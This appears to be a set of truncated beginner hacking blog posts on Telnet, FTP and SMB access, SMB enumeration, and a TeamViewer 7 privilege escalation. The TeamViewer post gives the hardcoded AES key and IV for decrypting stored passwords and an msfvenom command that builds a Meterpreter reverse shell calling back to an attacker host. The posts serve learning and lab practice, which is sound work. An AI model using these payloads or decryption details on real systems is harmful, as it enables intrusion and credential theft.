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The Basics: Telnet, FTP and SMB

This post explains three very basic things you should know about hacking. Those are Telnet, FTP, and SMB. Telnet is a client-server protocol used to test connectivity between machines and issue commands. This is very easy way to gain access to a remote computer. This is almost never installed on production machines anymore FTP (File Transfer Protocol) and SMB (Server Message Block) are tools used to store and access files. If these are installed, you can use commands associated with each tool to view files on the remote computer. Sometimes, these contain valuable information that you can use to elevate access. Telnet $  telnet <IP> <PORT> That's all there is to it :)  FTP $  ftp <IP> <PORT> - port is usually 21 - Check if ftp supports anonymous login (username: anonymous, no password) -use ls to list files, "get" to copy files to your local machine   If you get the message: 200 PORT command successful. Consider using PASV. 425 F
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TeamViewer 7 Privilege Escalation

Hello! Today was a good day. I learned how to exploit a privesc vulnerability in TeamViewer (version 7) which had eluded me for quite some time due to a lack of user-friendly resources available online. But today I am changing all that ;) So basically, TeamViewer 7 stores user passwords encrypted with AES-128-CBC with a key of 0602000000a400005253413100040000 and iv of 0100010067244F436E6762F25EA8D704 in the Windows registry. This means that someone can decrypt that password using that key and iv and use it elsewhere if the user in question made repeated use of their password (as users often do!) Now, the process is doing this manually is complicated but luckily for us, a Metasploit module exists to automate this for us! First. generate a payload with msfvenom like so: $ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip attacker> LPORT=4444 -f exe > revshell.exe Then move the payload to the machine with PowerShell (remember to move to the file to the
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All About SMB

The first step of enumerating networks is to identify common network services. These are Telnet, SMB and FTP. First step of enumeration is to conduct a port scan using nmap. A good tool to use to enumerate networks is enum4linux. What is SMB? SMB - Server Message Block Protocol - is a client-server communication protocol used for sharing access to files, printers, serial ports and other resources on a network. [ source ] Servers make file systems and other resources (printers, named pipes, APIs) available to clients on the network. Client computers may have their own hard disks, but they also want access to the shared file systems and printers on the servers. The SMB protocol is known as a response-request protocol, meaning that it transmits multiple messages between the client and server to establish a connection. Clients connect to servers using TCP/IP (actually NetBIOS over TCP/IP as specified in RFC1001 and RFC1002), NetBEUI or IPX/SPX. How does SMB work? Once they have establ
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